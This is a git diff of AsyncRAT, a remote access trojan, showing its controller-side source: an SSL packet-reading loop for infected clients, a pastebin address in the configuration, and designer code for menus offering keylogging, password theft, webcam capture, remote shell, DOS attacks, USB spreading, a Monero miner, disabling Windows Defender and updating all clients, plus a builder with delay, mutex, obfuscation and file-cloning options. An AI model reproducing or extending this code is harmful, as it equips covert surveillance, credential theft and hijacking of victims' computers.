diff --git a/AsyncRAT-C#/Server/App.config b/AsyncRAT-C#/Server/App.config index d18d8bc..63ad6ab 100644 --- a/AsyncRAT-C#/Server/App.config +++ b/AsyncRAT-C#/Server/App.config @@ -24,7 +24,7 @@ - + https://pastebin.com/raw/s14cUU5G diff --git a/AsyncRAT-C#/Server/Connection/Clients.cs b/AsyncRAT-C#/Server/Connection/Clients.cs index e164d01..097f01b 100644 --- a/AsyncRAT-C#/Server/Connection/Clients.cs +++ b/AsyncRAT-C#/Server/Connection/Clients.cs @@ -23,6 +23,7 @@ namespace Server.Connection public ListViewItem LV2 { get; set; } public string ID { get; set; } private byte[] ClientBuffer { get; set; } + private const int HeaderSize = 4; private int ClientBuffersize { get; set; } private bool ClientBufferRecevied { get; set; } private MemoryStream ClientMS { get; set; } @@ -42,19 +43,18 @@ namespace Server.Connection try { SslClient.EndAuthenticateAsServer(ar); - ClientBuffer = new byte[4]; + ClientBuffer = new byte[HeaderSize]; ClientMS = new MemoryStream(); SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); } catch { - //Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); SslClient?.Dispose(); TcpClient?.Dispose(); } } - public async void ReadClientData(IAsyncResult ar) + public void ReadClientData(IAsyncResult ar) { try { @@ -68,40 +68,48 @@ namespace Server.Connection int Recevied = SslClient.EndRead(ar); if (Recevied > 0) { - await ClientMS.WriteAsync(ClientBuffer, 0, Recevied); - if (!ClientBufferRecevied) + switch (ClientBufferRecevied) { - if (ClientMS.Length == 4) - { - ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); - ClientMS.Dispose(); - ClientMS = new MemoryStream(); - if (ClientBuffersize > 0) + case false: { - ClientBuffer = new byte[ClientBuffersize]; - Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); - ClientBufferRecevied = true; + ClientMS.Write(ClientBuffer, 0, Recevied); + if (ClientMS.Length == HeaderSize) + { + ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); + ClientMS.Dispose(); + ClientMS = new MemoryStream(); + if (ClientBuffersize > 0) + { + ClientBuffer = new byte[ClientBuffersize]; + Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); + ClientBufferRecevied = true; + } + } + break; } - } - } - else - { - Settings.Received += Recevied; - BytesRecevied += Recevied; - if (ClientMS.Length == ClientBuffersize) - { - ThreadPool.QueueUserWorkItem(new Packet + case true: { - client = this, - data = ClientMS.ToArray(), - }.Read, null); + ClientMS.Write(ClientBuffer, 0, Recevied); + lock (Settings.LockReceivedSendValue) + Settings.ReceivedValue += Recevied; + BytesRecevied += Recevied; + if (ClientMS.Length == ClientBuffersize) + { - ClientBuffer = new byte[4]; - ClientMS.Dispose(); - ClientMS = new MemoryStream(); - ClientBufferRecevied = false; - } + ThreadPool.QueueUserWorkItem(new Packet + { + client = this, + data = ClientMS.ToArray(), + }.Read, null); + + ClientBuffer = new byte[HeaderSize]; + ClientMS.Dispose(); + ClientMS = new MemoryStream(); + ClientBufferRecevied = false; + } + break; + } } SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); } @@ -184,7 +192,8 @@ namespace Server.Connection bytesToRead -= chunkSize; SslClient.Write(chunk, 0, chunk.Length); SslClient.Flush(); - Settings.Sent += chunk.Length; + lock (Settings.LockReceivedSendValue) + Settings.SentValue += chunk.Length; } while (bytesToRead > 0); } } @@ -192,7 +201,8 @@ namespace Server.Connection { SslClient.Write(buffer, 0, buffer.Length); SslClient.Flush(); - Settings.Sent += buffer.Length; + lock (Settings.LockReceivedSendValue) + Settings.SentValue += buffer.Length; } Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///"); } @@ -216,7 +226,7 @@ namespace Server.Connection msgPack.ForcePathObject("Packet").SetAsString("savePlugin"); msgPack.ForcePathObject("Dll").SetAsString(Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin))))); msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(plugin)); - ThreadPool.QueueUserWorkItem(Send,msgPack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes()); break; } } diff --git a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs index 26457c4..8b8a2b0 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs @@ -74,6 +74,8 @@ this.chatToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.getAdminPrivilegesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.blankScreenToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.runToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.stopToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.disableWindowsDefenderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -127,8 +129,6 @@ this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components); this.TimerTask = new System.Windows.Forms.Timer(this.components); - this.runToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); - this.stopToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuClient.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.tabControl1.SuspendLayout(); @@ -245,20 +245,20 @@ this.toolStripSeparator5, this.bUILDERToolStripMenuItem}); this.contextMenuClient.Name = "contextMenuStrip1"; - this.contextMenuClient.Size = new System.Drawing.Size(249, 311); + this.contextMenuClient.Size = new System.Drawing.Size(203, 278); // // aBOUTToolStripMenuItem // this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info; this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem"; - this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(248, 32); + this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.aBOUTToolStripMenuItem.Text = "ABOUT"; this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click); // // toolStripSeparator2 // this.toolStripSeparator2.Name = "toolStripSeparator2"; - this.toolStripSeparator2.Size = new System.Drawing.Size(245, 6); + this.toolStripSeparator2.Size = new System.Drawing.Size(199, 6); // // sENDFILEToolStripMenuItem // @@ -267,14 +267,14 @@ this.tODISKToolStripMenuItem}); this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem; this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; - this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(248, 32); + this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.sENDFILEToolStripMenuItem.Text = "Send File"; // // tOMEMORYToolStripMenuItem // this.tOMEMORYToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1; this.tOMEMORYToolStripMenuItem.Name = "tOMEMORYToolStripMenuItem"; - this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(206, 34); this.tOMEMORYToolStripMenuItem.Text = "To Memory"; this.tOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.TOMEMORYToolStripMenuItem_Click); // @@ -282,7 +282,7 @@ // this.tODISKToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1; this.tODISKToolStripMenuItem.Name = "tODISKToolStripMenuItem"; - this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(206, 34); this.tODISKToolStripMenuItem.Text = "To Disk"; this.tODISKToolStripMenuItem.Click += new System.EventHandler(this.TODISKToolStripMenuItem_Click); // @@ -298,14 +298,14 @@ this.webcamToolStripMenuItem}); this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system; this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem"; - this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(248, 32); + this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.monitoringToolStripMenuItem.Text = "Monitoring"; // // remoteDesktopToolStripMenuItem1 // this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop; this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1"; - this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop"; this.remoteDesktopToolStripMenuItem1.Click += new System.EventHandler(this.RemoteDesktopToolStripMenuItem1_Click); // @@ -313,7 +313,7 @@ // this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger; this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1"; - this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.keyloggerToolStripMenuItem1.Text = "Keylogger"; this.keyloggerToolStripMenuItem1.Click += new System.EventHandler(this.KeyloggerToolStripMenuItem1_Click); // @@ -321,7 +321,7 @@ // this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key; this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1"; - this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery"; this.passwordRecoveryToolStripMenuItem1.Click += new System.EventHandler(this.PasswordRecoveryToolStripMenuItem1_Click); // @@ -329,7 +329,7 @@ // this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager; this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1"; - this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.fileManagerToolStripMenuItem1.Text = "File Manager"; this.fileManagerToolStripMenuItem1.Click += new System.EventHandler(this.FileManagerToolStripMenuItem1_Click); // @@ -337,7 +337,7 @@ // this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process; this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1"; - this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.processManagerToolStripMenuItem1.Text = "Process Manager"; this.processManagerToolStripMenuItem1.Click += new System.EventHandler(this.ProcessManagerToolStripMenuItem1_Click); // @@ -348,7 +348,7 @@ this.stopToolStripMenuItem2}); this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report; this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem"; - this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(267, 34); this.reportWindowToolStripMenuItem.Text = "Report Window"; // // runToolStripMenuItem1 @@ -369,7 +369,7 @@ // this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam; this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem"; - this.webcamToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.webcamToolStripMenuItem.Size = new System.Drawing.Size(267, 34); this.webcamToolStripMenuItem.Text = "Webcam"; this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click); // @@ -385,14 +385,14 @@ this.xMRMinerToolStripMenuItem}); this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous; this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; - this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(248, 32); + this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; // // botsKillerToolStripMenuItem // this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller; this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem"; - this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.botsKillerToolStripMenuItem.Text = "Bots Killer"; this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click); // @@ -400,7 +400,7 @@ // this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb; this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1"; - this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.uSBSpreadToolStripMenuItem1.Text = "USB Spread"; this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click); // @@ -408,7 +408,7 @@ // this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo; this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1"; - this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent"; this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1); // @@ -416,7 +416,7 @@ // this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell; this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1"; - this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.remoteShellToolStripMenuItem1.Text = "Remote Shell"; this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1); // @@ -424,7 +424,7 @@ // this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos; this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem"; - this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.dOSAttackToolStripMenuItem.Text = "DOS Attack"; this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1); // @@ -432,7 +432,7 @@ // this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding; this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem"; - this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code"; this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1); // @@ -443,14 +443,14 @@ this.killToolStripMenuItem}); this.xMRMinerToolStripMenuItem.Image = global::Server.Properties.Resources.xmr; this.xMRMinerToolStripMenuItem.Name = "xMRMinerToolStripMenuItem"; - this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.xMRMinerToolStripMenuItem.Text = "XMR Miner"; // // runToolStripMenuItem // this.runToolStripMenuItem.Image = global::Server.Properties.Resources.play_button; this.runToolStripMenuItem.Name = "runToolStripMenuItem"; - this.runToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.runToolStripMenuItem.Size = new System.Drawing.Size(152, 34); this.runToolStripMenuItem.Text = "Run"; this.runToolStripMenuItem.Click += new System.EventHandler(this.RunToolStripMenuItem_Click); // @@ -458,7 +458,7 @@ // this.killToolStripMenuItem.Image = global::Server.Properties.Resources.stop__1_; this.killToolStripMenuItem.Name = "killToolStripMenuItem"; - this.killToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.killToolStripMenuItem.Size = new System.Drawing.Size(152, 34); this.killToolStripMenuItem.Text = "Stop"; this.killToolStripMenuItem.Click += new System.EventHandler(this.KillToolStripMenuItem_Click); // @@ -473,7 +473,7 @@ this.disableWindowsDefenderToolStripMenuItem}); this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra; this.extraToolStripMenuItem.Name = "extraToolStripMenuItem"; - this.extraToolStripMenuItem.Size = new System.Drawing.Size(248, 32); + this.extraToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.extraToolStripMenuItem.Text = "Extra"; // // visitWebsiteToolStripMenuItem1 @@ -518,6 +518,22 @@ this.blankScreenToolStripMenuItem.Size = new System.Drawing.Size(329, 34); this.blankScreenToolStripMenuItem.Text = "Blank Screen"; // + // runToolStripMenuItem2 + // + this.runToolStripMenuItem2.Image = global::Server.Properties.Resources.play_button; + this.runToolStripMenuItem2.Name = "runToolStripMenuItem2"; + this.runToolStripMenuItem2.Size = new System.Drawing.Size(152, 34); + this.runToolStripMenuItem2.Text = "Run"; + this.runToolStripMenuItem2.Click += new System.EventHandler(this.RunToolStripMenuItem2_Click); + // + // stopToolStripMenuItem1 + // + this.stopToolStripMenuItem1.Image = global::Server.Properties.Resources.stop__1_; + this.stopToolStripMenuItem1.Name = "stopToolStripMenuItem1"; + this.stopToolStripMenuItem1.Size = new System.Drawing.Size(152, 34); + this.stopToolStripMenuItem1.Text = "Stop"; + this.stopToolStripMenuItem1.Click += new System.EventHandler(this.StopToolStripMenuItem1_Click); + // // disableWindowsDefenderToolStripMenuItem // this.disableWindowsDefenderToolStripMenuItem.Image = global::Server.Properties.Resources.disabled; @@ -533,7 +549,7 @@ this.pCToolStripMenuItem}); this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system; this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; - this.systemToolStripMenuItem.Size = new System.Drawing.Size(248, 32); + this.systemToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.systemToolStripMenuItem.Text = "System"; // // clientToolStripMenuItem @@ -547,7 +563,7 @@ this.showFolderToolStripMenuItem}); this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client; this.clientToolStripMenuItem.Name = "clientToolStripMenuItem"; - this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.clientToolStripMenuItem.Text = "Client"; // // closeToolStripMenuItem1 @@ -598,7 +614,7 @@ this.shutdownToolStripMenuItem1}); this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc; this.pCToolStripMenuItem.Name = "pCToolStripMenuItem"; - this.pCToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.pCToolStripMenuItem.Text = "PC"; // // logoffToolStripMenuItem1 @@ -625,7 +641,7 @@ // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(245, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(199, 6); // // serverToolStripMenuItem // @@ -633,27 +649,27 @@ this.blockClientsToolStripMenuItem}); this.serverToolStripMenuItem.Image = global::Server.Properties.Resources.server; this.serverToolStripMenuItem.Name = "serverToolStripMenuItem"; - this.serverToolStripMenuItem.Size = new System.Drawing.Size(248, 32); + this.serverToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.serverToolStripMenuItem.Text = "Server"; // // blockClientsToolStripMenuItem // this.blockClientsToolStripMenuItem.Image = global::Server.Properties.Resources.disabled; this.blockClientsToolStripMenuItem.Name = "blockClientsToolStripMenuItem"; - this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(213, 34); this.blockClientsToolStripMenuItem.Text = "Block Clients"; this.blockClientsToolStripMenuItem.Click += new System.EventHandler(this.BlockClientsToolStripMenuItem_Click); // // toolStripSeparator5 // this.toolStripSeparator5.Name = "toolStripSeparator5"; - this.toolStripSeparator5.Size = new System.Drawing.Size(245, 6); + this.toolStripSeparator5.Size = new System.Drawing.Size(199, 6); // // bUILDERToolStripMenuItem // this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder; this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; - this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(248, 32); + this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.bUILDERToolStripMenuItem.Text = "BUILDER"; this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); // @@ -908,14 +924,14 @@ // this.minerToolStripMenuItem1.Name = "minerToolStripMenuItem1"; this.minerToolStripMenuItem1.Size = new System.Drawing.Size(249, 32); - this.minerToolStripMenuItem1.Text = "Miner XMR"; + this.minerToolStripMenuItem1.Text = "XMR MINER"; this.minerToolStripMenuItem1.Click += new System.EventHandler(this.MinerToolStripMenuItem1_Click); // // uPDATEToolStripMenuItem1 // this.uPDATEToolStripMenuItem1.Name = "uPDATEToolStripMenuItem1"; this.uPDATEToolStripMenuItem1.Size = new System.Drawing.Size(249, 32); - this.uPDATEToolStripMenuItem1.Text = "UPDATE"; + this.uPDATEToolStripMenuItem1.Text = "UPDATE ALL CLIENTS"; this.uPDATEToolStripMenuItem1.Click += new System.EventHandler(this.UPDATEToolStripMenuItem1_Click); // // toolStripSeparator4 @@ -953,22 +969,6 @@ this.TimerTask.Interval = 5000; this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick); // - // runToolStripMenuItem2 - // - this.runToolStripMenuItem2.Image = global::Server.Properties.Resources.play_button; - this.runToolStripMenuItem2.Name = "runToolStripMenuItem2"; - this.runToolStripMenuItem2.Size = new System.Drawing.Size(270, 34); - this.runToolStripMenuItem2.Text = "Run"; - this.runToolStripMenuItem2.Click += new System.EventHandler(this.RunToolStripMenuItem2_Click); - // - // stopToolStripMenuItem1 - // - this.stopToolStripMenuItem1.Image = global::Server.Properties.Resources.stop__1_; - this.stopToolStripMenuItem1.Name = "stopToolStripMenuItem1"; - this.stopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); - this.stopToolStripMenuItem1.Text = "Stop"; - this.stopToolStripMenuItem1.Click += new System.EventHandler(this.StopToolStripMenuItem1_Click); - // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs index 3209432..05fec93 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.cs @@ -278,7 +278,7 @@ namespace Server { Text = $"{Settings.Version} {DateTime.Now.ToLongTimeString()}"; lock (Settings.LockListviewClients) - toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%"; + toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.SentValue).ToString()} Received {Methods.BytesToString(Settings.ReceivedValue).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%"; } #endregion diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs index 0e546ec..8cee4b0 100644 --- a/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs @@ -51,6 +51,8 @@ namespace Server.Forms this.label3 = new System.Windows.Forms.Label(); this.label4 = new System.Windows.Forms.Label(); this.groupBox3 = new System.Windows.Forms.GroupBox(); + this.numDelay = new System.Windows.Forms.NumericUpDown(); + this.label16 = new System.Windows.Forms.Label(); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.chkBdos = new System.Windows.Forms.CheckBox(); this.txtMutex = new System.Windows.Forms.TextBox(); @@ -63,6 +65,7 @@ namespace Server.Forms this.tabPage3 = new System.Windows.Forms.TabPage(); this.tabPage4 = new System.Windows.Forms.TabPage(); this.groupBox4 = new System.Windows.Forms.GroupBox(); + this.btnClone = new System.Windows.Forms.Button(); this.btnAssembly = new System.Windows.Forms.CheckBox(); this.txtFileVersion = new System.Windows.Forms.TextBox(); this.txtProductVersion = new System.Windows.Forms.TextBox(); @@ -85,15 +88,15 @@ namespace Server.Forms this.chkIcon = new System.Windows.Forms.CheckBox(); this.label15 = new System.Windows.Forms.Label(); this.txtIcon = new System.Windows.Forms.TextBox(); + this.btnIcon = new System.Windows.Forms.Button(); this.picIcon = new System.Windows.Forms.PictureBox(); this.tabPage6 = new System.Windows.Forms.TabPage(); this.chkObfu = new System.Windows.Forms.CheckBox(); this.btnBuild = new System.Windows.Forms.Button(); - this.btnClone = new System.Windows.Forms.Button(); - this.btnIcon = new System.Windows.Forms.Button(); this.groupBox1.SuspendLayout(); this.groupBox2.SuspendLayout(); this.groupBox3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numDelay)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.tabControl1.SuspendLayout(); this.tabPage1.SuspendLayout(); @@ -323,6 +326,8 @@ namespace Server.Forms // // groupBox3 // + this.groupBox3.Controls.Add(this.numDelay); + this.groupBox3.Controls.Add(this.label16); this.groupBox3.Controls.Add(this.pictureBox1); this.groupBox3.Controls.Add(this.chkBdos); this.groupBox3.Controls.Add(this.txtMutex); @@ -335,6 +340,37 @@ namespace Server.Forms this.groupBox3.TabStop = false; this.groupBox3.Text = "MISC"; // + // numDelay + // + this.numDelay.Location = new System.Drawing.Point(19, 165); + this.numDelay.Maximum = new decimal(new int[] { + 999, + 0, + 0, + 0}); + this.numDelay.Minimum = new decimal(new int[] { + 2, + 0, + 0, + 0}); + this.numDelay.Name = "numDelay"; + this.numDelay.Size = new System.Drawing.Size(84, 26); + this.numDelay.TabIndex = 15; + this.numDelay.Value = new decimal(new int[] { + 30, + 0, + 0, + 0}); + // + // label16 + // + this.label16.AutoSize = true; + this.label16.Location = new System.Drawing.Point(15, 133); + this.label16.Name = "label16"; + this.label16.Size = new System.Drawing.Size(123, 20); + this.label16.TabIndex = 14; + this.label16.Text = "Delay (seconds)"; + // // pictureBox1 // this.pictureBox1.Image = global::Server.Properties.Resources.uac; @@ -358,16 +394,16 @@ namespace Server.Forms // txtMutex // this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); - this.txtMutex.Location = new System.Drawing.Point(106, 165); + this.txtMutex.Location = new System.Drawing.Point(19, 251); this.txtMutex.Name = "txtMutex"; - this.txtMutex.Size = new System.Drawing.Size(271, 26); + this.txtMutex.Size = new System.Drawing.Size(301, 26); this.txtMutex.TabIndex = 11; this.txtMutex.Text = global::Server.Properties.Settings.Default.Mutex; // // label5 // this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(14, 169); + this.label5.Location = new System.Drawing.Point(15, 219); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(52, 20); this.label5.TabIndex = 10; @@ -469,6 +505,17 @@ namespace Server.Forms this.groupBox4.TabStop = false; this.groupBox4.Text = "Assembly Information"; // + // btnClone + // + this.btnClone.Enabled = false; + this.btnClone.Location = new System.Drawing.Point(453, 43); + this.btnClone.Name = "btnClone"; + this.btnClone.Size = new System.Drawing.Size(103, 38); + this.btnClone.TabIndex = 21; + this.btnClone.Text = "Clone"; + this.btnClone.UseVisualStyleBackColor = true; + this.btnClone.Click += new System.EventHandler(this.BtnClone_Click); + // // btnAssembly // this.btnAssembly.AutoSize = true; @@ -685,6 +732,17 @@ namespace Server.Forms this.txtIcon.Size = new System.Drawing.Size(447, 26); this.txtIcon.TabIndex = 6; // + // btnIcon + // + this.btnIcon.Enabled = false; + this.btnIcon.Location = new System.Drawing.Point(485, 122); + this.btnIcon.Name = "btnIcon"; + this.btnIcon.Size = new System.Drawing.Size(60, 26); + this.btnIcon.TabIndex = 5; + this.btnIcon.Text = " "; + this.btnIcon.UseVisualStyleBackColor = true; + this.btnIcon.Click += new System.EventHandler(this.BtnIcon_Click); + // // picIcon // this.picIcon.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; @@ -729,28 +787,6 @@ namespace Server.Forms this.btnBuild.UseVisualStyleBackColor = true; this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click); // - // btnClone - // - this.btnClone.Enabled = false; - this.btnClone.Location = new System.Drawing.Point(453, 43); - this.btnClone.Name = "btnClone"; - this.btnClone.Size = new System.Drawing.Size(103, 38); - this.btnClone.TabIndex = 21; - this.btnClone.Text = "Clone"; - this.btnClone.UseVisualStyleBackColor = true; - this.btnClone.Click += new System.EventHandler(this.BtnClone_Click); - // - // 